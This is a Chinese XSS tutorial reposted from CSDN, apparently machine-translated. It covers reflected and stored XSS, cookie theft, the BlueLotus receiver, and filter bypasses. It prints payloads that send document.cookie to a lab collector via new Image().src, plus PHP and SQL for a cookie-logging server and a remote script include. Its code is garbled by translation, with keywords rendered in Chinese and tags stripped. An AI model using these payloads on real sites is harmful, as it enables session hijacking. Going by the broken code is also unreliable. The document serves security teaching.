XSS跨站攻击漏洞,xss跨站脚本漏洞解决方案

XSS跨站攻击漏洞XSS跨站攻击漏洞
一 概述
1 XSS概述
xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析

XSS跨站攻击漏洞

一 概述

1 XSS概述

xss的正式名称是Cross-Site Scripting。 XSS漏洞发生在前端,攻击浏览器的解析引擎。这会导致攻击者的JavaScript 代码在受害者的浏览器中运行。

XSS攻击者的目标是找到存在XSS漏洞的网页,并允许攻击者在受害者不知情的情况下在存在XSS漏洞的网页上执行攻击者的JavaScript代码。

XSS主动填充漏洞陷阱,等待受害者上当。由于攻击者正在执行JavaScript 代码,因此攻击语句必须允许JavaScript 执行。

有两种方法

第一种反射

直接在URL中附加js代码,并将URL发送给指定用户。鼓励用户点击。

第二种存储方式

由于利用后端的漏洞将js代码存储在数据库中,当页面收到服务器返回的响应时,就会从数据库中拉取js代码,因此任何访问该页面的用户都可以进行攻击。

2 危害

1.您的页面已被黑客入侵

2.获取用户的cookie

3.DDoS攻击

4. 网络钓鱼攻击

5. 数据造假

6.传播病毒

二 原理

1 反射型

(1)用户输入的内容原样显示在页面上。

php

?php

$内容=$_GET[\’内容\’];

回显\’$内容\’

有效负载

192.172.10.41/week3/demo1.php?content=scriptalert(1)/script

(2) 回显用户在标签对中键入的内容。

php

!DOCTYPE html

html lang=\’en\’

元字符集=\’UTF-8\’

标题文件/标题

/头

身体

分配

?php

$内容=$_GET[\’内容\’];

回显\’$内容\’

/div

/身体

/html

有效负载

192.172.10.41/week3/demo1.php?content=你好

(3) 将用户的输入回显到标签属性中。

php

!DOCTYPE html

html lang=\’en\’

元字符集=\’UTF-8\’

标题文件/标题

/头

身体

分配

?php

$内容=$_GET[\’内容\’];

输入类型=\’文本\’值=\’?=$content;\’

/div

/身体

/html

有效负载

关闭标签并添加脚本标签

192.172.10.41/week3/demo1.php?content=hello\’scriptalert(1)/script!–

添加事件

192.172.10.41/week3/demo1.php?content=你好\’onmuseoover=\’alert(1)

嵌入网页

192.172.10.41/week3/demo1.php?content=\’iframe src=\’https://www.taabao.com\’ width=\’100%\’ height=\’100%\’ /iframe!–

添加页面元素

192.172.10.41/week3/demo1.php?content=\’img src=\’./image/dateme.gif\’ onclick=\’alert(1)\’!–

XSS中常用的测试语句

脚本警报(1)/脚本

img src=1 错误=警报(1)

svg onload=警报(1)

a href=javascript:alert(1)

输入onfcus=write(1) 自动对焦

2 存储型

攻击脚本通过后端写入数据库,当用户访问页面时,后端通过查询回显页面上的所有数据并触发攻击。

php 添加

?php

包含“utils/dbUtil.php”。

//1. 接收用户输入

$内容=$_GET[\’内容\’];

//2.sql

$sql=\’插入week3_test值(默认,\’$content\’)\’;

//3.执行SQL

$res=运行Sql($sql);

//重大后果

如果($res){

回声“成功”。

}除此之外{

回显“错误”;

}

192.172.10.41/week3/demo2-xss存储类型-add.php?content=百度scriptalert(1)/script

php-findById

?php

包含“utils/dbUtil.php”。

//1. 接收用户输入

$id=$_GET[\’id\’];

//2.sql

$sql=\’从Week3_test 选择*,其中id=$id\’;

//3.执行SQL

$res=queryOne($sql);

//重大后果

如果($res){

打印_r($res);

}除此之外{

回显“错误”;

}

192.172.10.41/week3/demo3-xss存储类型-findById.php?id=4

三 XSS获取Cookie

1 发送cookie

php

?php

会话开始();

$内容=$_GET[\’内容\’];

回显$内容。

插入代码

PHP 后台应将+ 号视为%2B 和%26。

语法

获取浏览器cookie值document.cookie

发送请求scriptlocation.href=url/script

scriptlocation.href=\’http://ip.php?cookie=\’%2bocument.cookie/script

scriptnew Image().src=\’http://ip.php?cookie=\’%2bocument.cookie/script

2 准备C2服务器

搭建phpstudy环境

安装phpstudy

打开软件,启动Apache和MySQL服务。

单击您的网站,然后单击“管理”下的根目录。您需要运行的文件将放置在www 目录下。

在此文件中创建一个简单的php 文件。

打开浏览器并输入http://localhost/phpinfo.php。 phpinfo.php是你写的文件名

开发xss服务器端

表面

创建表`getcookie` (

`id` int(0) NOT NULL AUTO_INCRMENT,

`url` varchar(1000) 字符集utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,

`cookie` varchar(1000) 字符集utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,

`createtime` 时间戳(0) NULL 默认NULL,

使用BTREE 的主键(`id`)

) 引擎=InnoDB 字符集=utf8mb4 COLLATE=utf8mb4_bin ROW_FORMAT=动态;

php

?php

$url=$_GET[\’url\’];

$cookie=$_GET[\’cookie\’];

//1. 连接到数据库。 参数说明: IP 帐号密码数据库

$conn=mysqli_connect(\’127.0.0.1\’,\’root\’,\’root\’,\’part3\’);

//2.设置编码格式为UTF-8

mysqli_query($conn,\’设置名称utf8\’);

//3.sql

$sql=\’插入getcookie(url,cookie,createtime) value(\’$url\’,\’$cookie\’,now())\’;

//4.执行SQL

$res=mysqli_query($conn,$sql) 或die(\’执行失败\’.mysqli_error($conn));

3 开始注入获取cookie

192.172.10.41/week3/demo1-xssreflect.php?content=helloscriptnew Image().src=\’http://192.172.10.40/getcookie.php?url=\’%2Bdocument.cookie%2B\’%26cookie=\’%2Blocation.href /script

四 BlueLotusXSS平台使用

一、安装

下载地址GitHub – sqlsec/BlueLotus_XSSReceiver: XSS Platform CTF Tools Web Security Tools

1 将BlueLotus_XSSReceiver-master.zip上传到xampp

将BlueLotus_XSSReceiver-master.zip 上传到CentOS 的/opt/lampp/htdocs 目录并解压。

解压BlueLotus_XSSReceiver-master.zip。

2 访问:192.172.10.41/BlueLotus_XSSReceiver-master/install.php

按照提示将config-sample.php 重命名为config.php。不要单击“安装”。

3 配置目录权限

运行命令:chmod o+w data myjs template

4 登录

登录地址http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php

登录密码蓝莲花

5 进入主页

二、定制XSS代码

1 有效负载生成

生成有效负载后,将代码直接复制到XSS 页面中。

2 在页面中插入代码

192.172.10.41/week3/demo1-xssreflect.php?content=helloscript src=\’http://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js\’/script

收到数据

https://github.com/sqlsec/BlueLotus_XSSReceiver

五 XSS的防御和绕过

1 防御

(1)前端验证:对用户输入框进行js验证。

(2)使用函数对用户输入内容中的特殊符号进行转码。

htmpspcialchars(string,ENT_QUOTES); ENT_QUOTES 表示转码单引号

(3) 字符串替换: 必须通过替换规则考虑不同的覆盖范围。

字符串替换()

2 绕过

(1) 用于前端验证

禁用浏览器js

通过工具或协议绕过前端。

(2)功能替代

1 可以使用实体转码

#x6A

2 非忽略案例的案例旁路:

脚本/脚本

3 双写绕过str_replace(\’script\’,\’\’,$str);

脚本

4 如果空格被替换,请使用%0 或%0d 绕过它们。

六 XSS靶场实战

以上#XSS跨站攻击漏洞相关内容来源于互联网,仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91850.html

Like (0)
CSDN的头像CSDN
Previous 2024年6月23日
Next 2024年6月23日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注